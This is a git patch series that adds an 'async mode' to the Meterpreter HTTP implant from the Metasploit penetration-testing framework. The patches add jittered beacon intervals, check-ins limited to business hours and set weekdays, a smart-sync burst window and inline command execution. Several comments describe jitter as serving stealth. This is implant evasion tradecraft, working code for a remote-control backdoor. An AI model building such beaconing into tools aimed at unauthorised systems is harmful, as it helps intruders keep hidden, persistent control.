From 7ab17f41e231889aac2552e3bd104858f797d3af Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Sat, 18 Jul 2026 06:42:08 -0400 Subject: [PATCH 01/11] feat: add COMMAND_ID_CORE_ASYNC_MODE command ID (35) --- c/meterpreter/source/common/common_command_ids.h | 1 + 1 file changed, 1 insertion(+) diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h index 521c7f2d3..95bc33668 100644 --- a/c/meterpreter/source/common/common_command_ids.h +++ b/c/meterpreter/source/common/common_command_ids.h @@ -56,6 +56,7 @@ #define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32 #define COMMAND_ID_CORE_TRANSPORT_SLEEP 33 #define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34 +#define COMMAND_ID_CORE_ASYNC_MODE 35 #define COMMAND_ID_STDAPI_FS_CHDIR 1001 #define COMMAND_ID_STDAPI_FS_CHMOD 1002 #define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003 From 432d8deb191d4c458008f531f8785959a4177040 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Sat, 18 Jul 2026 06:42:16 -0400 Subject: [PATCH 02/11] feat: add TLV types for async mode configuration --- c/meterpreter/source/common/common_core.h | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index 85c5c4a5d..a99a07135 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -183,6 +183,14 @@ typedef enum TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. + // Async mode + TLV_TYPE_ASYNC_ENABLED = TLV_VALUE(TLV_META_TYPE_BOOL, 700), ///! Enable/disable async mode. + TLV_TYPE_ASYNC_POLL_INTERVAL = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! Seconds between check-ins. + TLV_TYPE_ASYNC_POLL_JITTER = TLV_VALUE(TLV_META_TYPE_UINT, 702), ///! Jitter percentage 0-99. + TLV_TYPE_ASYNC_WORK_START = TLV_VALUE(TLV_META_TYPE_UINT, 703), ///! Business hours start (0-23). + TLV_TYPE_ASYNC_WORK_END = TLV_VALUE(TLV_META_TYPE_UINT, 704), ///! Business hours end (0-23). + TLV_TYPE_ASYNC_WORK_DAYS = TLV_VALUE(TLV_META_TYPE_UINT, 705), ///! Bitmask of active days (bit0=Sun..bit6=Sat). + TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. From a7bce4a3e5edc69fcfdd5048e2256039ed61fc5f Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Sat, 18 Jul 2026 06:42:25 -0400 Subject: [PATCH 03/11] feat: add async mode fields to HttpTransportContext --- c/meterpreter/source/common/common_remote.h | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index f15d509c3..b4ad5df0d 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -91,6 +91,14 @@ typedef struct _HttpTransportContext BOOL move_to_wininet; ///! If set, winhttp is busted, and we need to move to wininet. + BOOL async_mode; ///! Flag indicating whether async mode is enabled. + UINT async_poll_interval; ///! Seconds between poll check-ins in async mode. + UINT async_poll_jitter; ///! Jitter percentage (0-99) applied to poll interval. + UINT async_work_start; ///! Business hours start hour (0-23). + UINT async_work_end; ///! Business hours end hour (0-23). + UINT async_work_days; ///! Bitmask of active days (bit0=Sun..bit6=Sat). + HANDLE async_wake_event; ///! Event signaled to interrupt async sleep early. + PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. PSendHttpRequest send_req; ///! WinHTTP/WinINET specifc request sending. PCloseRequest close_req; ///! WinHTTP/WinINET specifc request closing. From b716881bf0fdc41d46335325dec6f4566a269d7b Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Sat, 18 Jul 2026 06:42:37 -0400 Subject: [PATCH 04/11] feat: implement core_async_mode command handler Add async mode request handler with business-hours awareness, configurable poll interval with jitter, and interruptible sleep via wake event. --- c/meterpreter/source/metsrv/core_async.c | 174 +++++++++++++++++++++++ 1 file changed, 174 insertions(+) create mode 100644 c/meterpreter/source/metsrv/core_async.c diff --git a/c/meterpreter/source/metsrv/core_async.c b/c/meterpreter/source/metsrv/core_async.c new file mode 100644 index 000000000..c08da024c --- /dev/null +++ b/c/meterpreter/source/metsrv/core_async.c @@ -0,0 +1,174 @@ +/*! + * @file core_async.c + * @brief Handles the core async mode command for HTTP transports. + */ +#include "metsrv.h" + +/*! + * @brief Determine if the current local hour falls within business hours on an active day. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns TRUE if currently within configured work hours, FALSE otherwise. + */ +BOOL async_in_work_hours(HttpTransportContext* ctx) +{ + SYSTEMTIME st; + GetLocalTime(&st); + + // Check if today is an active day (bit 0 = Sunday, bit 6 = Saturday) + if (ctx->async_work_days != 0) + { + UINT dayBit = 1 << st.wDayOfWeek; + if (!(ctx->async_work_days & dayBit)) + { + return FALSE; + } + } + + // Check if current hour is within work hours + if (ctx->async_work_start < ctx->async_work_end) + { + // Normal range, e.g. 8-17 + if (st.wHour < ctx->async_work_start || st.wHour >= ctx->async_work_end) + { + return FALSE; + } + } + else if (ctx->async_work_start > ctx->async_work_end) + { + // Overnight range, e.g. 22-6 + if (st.wHour >= ctx->async_work_end && st.wHour < ctx->async_work_start) + { + return FALSE; + } + } + // If start == end, treat as 24h (always active) + + return TRUE; +} + +/*! + * @brief Calculate the sleep duration in milliseconds for the current async poll cycle. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns Sleep duration in milliseconds with jitter applied. + */ +DWORD async_calculate_sleep_ms(HttpTransportContext* ctx) +{ + DWORD intervalMs = ctx->async_poll_interval * 1000; + + if (ctx->async_poll_jitter > 0 && ctx->async_poll_jitter < 100) + { + // Apply jitter: interval ± jitter% + DWORD jitterRange = (intervalMs * ctx->async_poll_jitter) / 100; + // Random value in range [0, 2*jitterRange], then shift to [-jitterRange, +jitterRange] + DWORD randVal; + if (jitterRange > 0) + { + randVal = (DWORD)(rand() % (2 * jitterRange + 1)); + intervalMs = intervalMs - jitterRange + randVal; + } + } + + return intervalMs; +} + +/*! + * @brief Handle the COMMAND_ID_CORE_ASYNC_MODE request. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_async_mode(Remote* remote, Packet* packet) +{ + Packet* response = met_api->packet.create_response(packet); + DWORD result = ERROR_SUCCESS; + Transport* transport = remote->transport; + + // Async mode is only supported on HTTP transports + if (!(transport->type & METERPRETER_TRANSPORT_HTTP)) + { + dprintf("[ASYNC] Async mode is only supported on HTTP transports"); + result = ERROR_NOT_SUPPORTED; + } + else + { + HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; + + BOOL enabled = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_ASYNC_ENABLED); + ctx->async_mode = enabled; + + if (enabled) + { + UINT pollInterval = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_INTERVAL); + UINT pollJitter = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_POLL_JITTER); + UINT workStart = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_START); + UINT workEnd = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_END); + UINT workDays = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_DAYS); + + // Apply poll interval (minimum 10 seconds to avoid spin) + if (pollInterval >= 10) + { + ctx->async_poll_interval = pollInterval; + } + else if (pollInterval > 0) + { + ctx->async_poll_interval = 10; + } + else + { + // Default to 300 seconds if not specified + ctx->async_poll_interval = 300; + } + + // Jitter must be 0-99 + if (pollJitter < 100) + { + ctx->async_poll_jitter = pollJitter; + } + else + { + ctx->async_poll_jitter = 0; + } + + // Work hours (0-23, end also accepts 24 meaning midnight) + ctx->async_work_start = (workStart <= 23) ? workStart : 0; + ctx->async_work_end = (workEnd <= 24) ? workEnd : 0; + + // Work days bitmask (7 bits: bit0=Sun..bit6=Sat) + ctx->async_work_days = workDays & 0x7F; + + // Create the wake event (auto-reset) so sleeps can be interrupted + if (ctx->async_wake_event == NULL) + { + ctx->async_wake_event = CreateEvent(NULL, FALSE, FALSE, NULL); + } + + dprintf("[ASYNC] Async mode enabled: interval=%us, jitter=%u%%, hours=%u-%u, days=0x%02X", + ctx->async_poll_interval, ctx->async_poll_jitter, + ctx->async_work_start, ctx->async_work_end, ctx->async_work_days); + } + else + { + dprintf("[ASYNC] Async mode disabled"); + + // Signal the wake event to interrupt any in-progress async sleep + if (ctx->async_wake_event != NULL) + { + SetEvent(ctx->async_wake_event); + CloseHandle(ctx->async_wake_event); + ctx->async_wake_event = NULL; + } + + ctx->async_poll_interval = 0; + ctx->async_poll_jitter = 0; + ctx->async_work_start = 0; + ctx->async_work_end = 0; + ctx->async_work_days = 0; + } + + met_api->packet.add_tlv_bool(response, TLV_TYPE_ASYNC_ENABLED, ctx->async_mode); + } + + met_api->packet.transmit_response(result, remote, response); + + return result; +} From 2bad84816501e773fd0acf5fa9d35d19fcfbcad4 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Sat, 18 Jul 2026 06:42:45 -0400 Subject: [PATCH 05/11] feat: register core_async_mode in dispatch table --- c/meterpreter/source/metsrv/remote_dispatch.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 010e1eb78..0113df67a 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -21,6 +21,7 @@ DWORD request_core_machine_id(Remote* remote, Packet* packet); DWORD request_core_get_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_session_guid(Remote* remote, Packet* packet); DWORD request_core_set_uuid(Remote* remote, Packet* packet); +DWORD request_core_async_mode(Remote* remote, Packet* packet); BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result); // Dispatch table @@ -34,6 +35,7 @@ Command customCommands[] = COMMAND_REQ(COMMAND_ID_CORE_SET_UUID, request_core_set_uuid), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_ADD, request_core_pivot_add), COMMAND_REQ(COMMAND_ID_CORE_PIVOT_REMOVE, request_core_pivot_remove), + COMMAND_REQ(COMMAND_ID_CORE_ASYNC_MODE, request_core_async_mode), COMMAND_INLINE_REP(COMMAND_ID_CORE_PATCH_URL, request_core_patch_url), COMMAND_TERMINATOR }; From 395ba30a150b3484ab0ede4759c9dd0f3110ffb3 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Sat, 18 Jul 2026 06:42:56 -0400 Subject: [PATCH 06/11] feat: add async polling and business-hours sleep to HTTP dispatch loop When async mode is enabled, the dispatch loop sleeps for the configured poll interval on empty responses and skips sleep after handling commands to drain queued requests. Outside business hours, the loop pauses with 60s re-checks. --- .../source/metsrv/server_transport_winhttp.c | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index cbbbe8057..b8a9ff30e 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -11,6 +11,10 @@ #include "packet_encryption.h" #include "pivot_packet_dispatch.h" +// Async mode helpers (defined in core_async.c) +extern BOOL async_in_work_hours(HttpTransportContext* ctx); +extern DWORD async_calculate_sleep_ms(HttpTransportContext* ctx); + /*! * @brief Prepare a winHTTP request with the given context. * @param ctx Pointer to the HTTP transport context to prepare the request from. @@ -675,6 +679,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) break; } + // Async mode: wait until inside business hours before polling + if (ctx->async_mode && (ctx->async_work_start != ctx->async_work_end) && !async_in_work_hours(ctx)) + { + dprintf("[DISPATCH] Outside business hours, sleeping 60s before re-check"); + if (ctx->async_wake_event) + { + WaitForSingleObject(ctx->async_wake_event, 60000); + } + else + { + Sleep(60000); + } + // Keep comms timestamp fresh so the timeout check doesn't + // kill the transport during intentional out-of-hours sleep + transport->comms_last_packet = current_unix_timestamp(); + continue; + } + dprintf("[DISPATCH] Reading data from the remote side..."); result = packet_receive_http(remote, &packet); @@ -684,6 +706,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) if (result == ERROR_EMPTY) { transport->comms_last_packet = current_unix_timestamp(); + + // In async mode, sleep for the configured poll interval on empty responses + if (ctx->async_mode && ctx->async_poll_interval > 0) + { + DWORD asyncDelay = async_calculate_sleep_ms(ctx); + dprintf("[DISPATCH] Async mode: no commands, sleeping for %ums", asyncDelay); + if (ctx->async_wake_event) + { + WaitForSingleObject(ctx->async_wake_event, asyncDelay); + } + else + { + Sleep(asyncDelay); + } + // Refresh timestamp so comms timeout doesn't fire after the async sleep + transport->comms_last_packet = current_unix_timestamp(); + continue; + } } else if (result == ERROR_WINHTTP_CANNOT_CONNECT) { @@ -802,6 +842,10 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) { dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet"); } + + // In async mode, do NOT sleep after handling a command — immediately + // poll again to drain any remaining queued commands. The sleep only + // happens on empty responses (no commands available). } } From 13af5739e1671cfb9a984ddbafc5b8bd4f006ef5 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 20 Jul 2026 08:23:11 -0400 Subject: [PATCH 07/11] feat: add TLV_TYPE_ASYNC_SMART_SYNC for burst-window config --- c/meterpreter/source/common/common_core.h | 1 + 1 file changed, 1 insertion(+) diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index a99a07135..1ae09f697 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -190,6 +190,7 @@ typedef enum TLV_TYPE_ASYNC_WORK_START = TLV_VALUE(TLV_META_TYPE_UINT, 703), ///! Business hours start (0-23). TLV_TYPE_ASYNC_WORK_END = TLV_VALUE(TLV_META_TYPE_UINT, 704), ///! Business hours end (0-23). TLV_TYPE_ASYNC_WORK_DAYS = TLV_VALUE(TLV_META_TYPE_UINT, 705), ///! Bitmask of active days (bit0=Sun..bit6=Sat). + TLV_TYPE_ASYNC_SMART_SYNC = TLV_VALUE(TLV_META_TYPE_UINT, 706), ///! Smart-sync burst window in seconds (0 = disabled). TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. From 1e03f8dde84d8bf8cc1fbffe27f5012b50d07370 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 20 Jul 2026 08:23:29 -0400 Subject: [PATCH 08/11] feat: add smart-sync fields to HttpTransportContext --- c/meterpreter/source/common/common_remote.h | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index b4ad5df0d..26fcf6e15 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -97,6 +97,8 @@ typedef struct _HttpTransportContext UINT async_work_start; ///! Business hours start hour (0-23). UINT async_work_end; ///! Business hours end hour (0-23). UINT async_work_days; ///! Bitmask of active days (bit0=Sun..bit6=Sat). + UINT async_smart_sync_seconds; ///! Smart-sync burst window in seconds (0 = disabled). + DWORD async_last_activity_ticks; ///! GetTickCount() at last observed request/response. HANDLE async_wake_event; ///! Event signaled to interrupt async sleep early. PCreateHttpRequest create_req; ///! WinHTTP/WinINET specific request creation. @@ -173,6 +175,8 @@ typedef struct _Remote PivotTree* pivot_listeners; ///! Collection of active Meterpreter pivot listeners. PacketEncryptionContext* enc_ctx; ///! Reference to the packet encryption context. + + BOOL async_mode; ///! When TRUE, command_handle processes commands inline. } Remote; #endif From fc26a2843e3dc621e268052faa1888f6448b858c Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 20 Jul 2026 08:23:42 -0400 Subject: [PATCH 09/11] feat: implement smart-sync burst window in async sleep calc Parse TLV_TYPE_ASYNC_SMART_SYNC in core_async_mode and use it to shorten the ERROR_EMPTY sleep to a 1s burst interval (no jitter) while activity is recent, falling back to poll_interval+jitter once the window elapses. Adds async_touch_activity() and async_in_smart_sync_window() helpers. --- c/meterpreter/source/metsrv/core_async.c | 72 +++++++++++++++++++++++- 1 file changed, 69 insertions(+), 3 deletions(-) diff --git a/c/meterpreter/source/metsrv/core_async.c b/c/meterpreter/source/metsrv/core_async.c index c08da024c..9e8d2746e 100644 --- a/c/meterpreter/source/metsrv/core_async.c +++ b/c/meterpreter/source/metsrv/core_async.c @@ -4,6 +4,46 @@ */ #include "metsrv.h" +// Delay (in ms) used for the tight poll loop while inside a smart-sync burst +// window. Kept short so that chained multi-request commands (e.g. ls) flow +// without operator wait, but not zero so we don't hammer the transport if +// the framework hasn't queued the next request yet. +#define ASYNC_SMART_SYNC_BURST_MS 1000 + +/*! + * @brief Update the last-activity timestamp used by the smart-sync burst window. + * @param ctx Pointer to the HTTP transport context containing async config. + */ +VOID async_touch_activity(HttpTransportContext* ctx) +{ + if (ctx == NULL) + { + return; + } + ctx->async_last_activity_ticks = GetTickCount(); +} + +/*! + * @brief Determine whether the implant is currently inside a smart-sync burst window. + * @param ctx Pointer to the HTTP transport context containing async config. + * @returns TRUE if smart-sync is enabled and recent activity keeps us in-burst. + */ +BOOL async_in_smart_sync_window(HttpTransportContext* ctx) +{ + if (ctx == NULL || ctx->async_smart_sync_seconds == 0) + { + return FALSE; + } + + // GetTickCount() wraps every ~49 days; unsigned subtraction handles the + // wraparound correctly so long as the window is much smaller than the + // wrap period (smart_sync is in seconds, so this is trivially true). + DWORD now = GetTickCount(); + DWORD elapsedMs = now - ctx->async_last_activity_ticks; + DWORD windowMs = ctx->async_smart_sync_seconds * 1000; + return elapsedMs < windowMs; +} + /*! * @brief Determine if the current local hour falls within business hours on an active day. * @param ctx Pointer to the HTTP transport context containing async config. @@ -49,10 +89,20 @@ BOOL async_in_work_hours(HttpTransportContext* ctx) /*! * @brief Calculate the sleep duration in milliseconds for the current async poll cycle. * @param ctx Pointer to the HTTP transport context containing async config. - * @returns Sleep duration in milliseconds with jitter applied. + * @returns Sleep duration in milliseconds with jitter applied. Returns a short + * burst interval (no jitter) when inside the smart-sync window. */ DWORD async_calculate_sleep_ms(HttpTransportContext* ctx) { + // Smart-sync burst: recent activity implies an operator interaction is in + // flight; keep polling fast so chained requests complete promptly. + // Jitter is intentionally skipped inside the burst window — the goal here + // is responsiveness, not stealth (the operator is already talking to us). + if (async_in_smart_sync_window(ctx)) + { + return ASYNC_SMART_SYNC_BURST_MS; + } + DWORD intervalMs = ctx->async_poll_interval * 1000; if (ctx->async_poll_jitter > 0 && ctx->async_poll_jitter < 100) @@ -95,6 +145,7 @@ DWORD request_core_async_mode(Remote* remote, Packet* packet) BOOL enabled = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_ASYNC_ENABLED); ctx->async_mode = enabled; + remote->async_mode = enabled; if (enabled) { @@ -103,6 +154,7 @@ DWORD request_core_async_mode(Remote* remote, Packet* packet) UINT workStart = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_START); UINT workEnd = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_END); UINT workDays = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_WORK_DAYS); + UINT smartSync = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_ASYNC_SMART_SYNC); // Apply poll interval (minimum 10 seconds to avoid spin) if (pollInterval >= 10) @@ -136,15 +188,27 @@ DWORD request_core_async_mode(Remote* remote, Packet* packet) // Work days bitmask (7 bits: bit0=Sun..bit6=Sat) ctx->async_work_days = workDays & 0x7F; + // Smart-sync burst window (seconds). 0 disables the feature and + // keeps behavior backward compatible with framework versions that + // don't send the TLV. + ctx->async_smart_sync_seconds = smartSync; + + // Seed the last-activity timestamp so we don't accidentally start + // in an "always in burst" state due to an uninitialized value. + // We deliberately set it far enough in the past that the first + // check-in uses the normal poll_interval unless a request arrives. + ctx->async_last_activity_ticks = GetTickCount() - (smartSync * 1000) - 1000; + // Create the wake event (auto-reset) so sleeps can be interrupted if (ctx->async_wake_event == NULL) { ctx->async_wake_event = CreateEvent(NULL, FALSE, FALSE, NULL); } - dprintf("[ASYNC] Async mode enabled: interval=%us, jitter=%u%%, hours=%u-%u, days=0x%02X", + dprintf("[ASYNC] Async mode enabled: interval=%us, jitter=%u%%, hours=%u-%u, days=0x%02X, smart_sync=%us", ctx->async_poll_interval, ctx->async_poll_jitter, - ctx->async_work_start, ctx->async_work_end, ctx->async_work_days); + ctx->async_work_start, ctx->async_work_end, ctx->async_work_days, + ctx->async_smart_sync_seconds); } else { @@ -163,6 +227,8 @@ DWORD request_core_async_mode(Remote* remote, Packet* packet) ctx->async_work_start = 0; ctx->async_work_end = 0; ctx->async_work_days = 0; + ctx->async_smart_sync_seconds = 0; + ctx->async_last_activity_ticks = 0; } met_api->packet.add_tlv_bool(response, TLV_TYPE_ASYNC_ENABLED, ctx->async_mode); From e14e6ff1904f7a39e982c64ef31ed00861c47995 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 20 Jul 2026 08:23:55 -0400 Subject: [PATCH 10/11] feat: touch async activity on packet send and receive Call async_touch_activity() after a successful packet_transmit_http send and after receiving a non-empty request in server_dispatch_http so the smart-sync burst window stays armed across chained request/response cycles. --- .../source/metsrv/server_transport_winhttp.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index b8a9ff30e..f52bf07de 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -14,6 +14,7 @@ // Async mode helpers (defined in core_async.c) extern BOOL async_in_work_hours(HttpTransportContext* ctx); extern DWORD async_calculate_sleep_ms(HttpTransportContext* ctx); +extern VOID async_touch_activity(HttpTransportContext* ctx); /*! * @brief Prepare a winHTTP request with the given context. @@ -318,6 +319,13 @@ static DWORD packet_transmit_http(Remote *remote, LPBYTE rawPacket, DWORD rawPac } dprintf("[PACKET TRANSMIT HTTP] request sent.. apparently"); + + // Async smart-sync: record that we just sent a response so the next + // idle poll uses the short burst delay instead of the full poll interval. + if (ctx->async_mode) + { + async_touch_activity(ctx); + } } while(0); ctx->close_req(hReq); @@ -776,6 +784,14 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread) // Reset the empty count when we receive a packet ecount = 0; + // Async smart-sync: an actual request from the framework means an + // operator interaction is in flight; the next idle poll should + // stay in the tight burst loop. + if (ctx->async_mode) + { + async_touch_activity(ctx); + } + dprintf("[DISPATCH] Returned result: %d", result); if (packet != NULL) From f073ca64d31bd60d087791ab435b758b9d19a0ef Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 20 Jul 2026 08:24:06 -0400 Subject: [PATCH 11/11] feat: force inline command execution in async mode In async mode, always run commands inline so the response is POSTed before the next GET poll. This lets the dispatch loop drain queued requests in a tight poll-execute-respond cycle, which the smart-sync burst window relies on for chained multi-request commands. --- c/meterpreter/source/metsrv/base.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index a306964e2..d6d3ac08f 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -455,9 +455,13 @@ BOOL command_handle(Remote *remote, Packet *packet) break; } - // if either command is registered as inline, run them inline + // if either command is registered as inline, run them inline. + // In async mode, force inline so the result is POSTed before the + // next GET poll — this lets the dispatch loop drain the queue + // in a tight poll-execute-respond cycle. if ((command && command_is_inline(command, packet)) - || packet->local) + || packet->local + || remote->async_mode) { dprintf("[DISPATCH] Executing inline: %u", commandId); result = command_process_inline(command, remote, packet);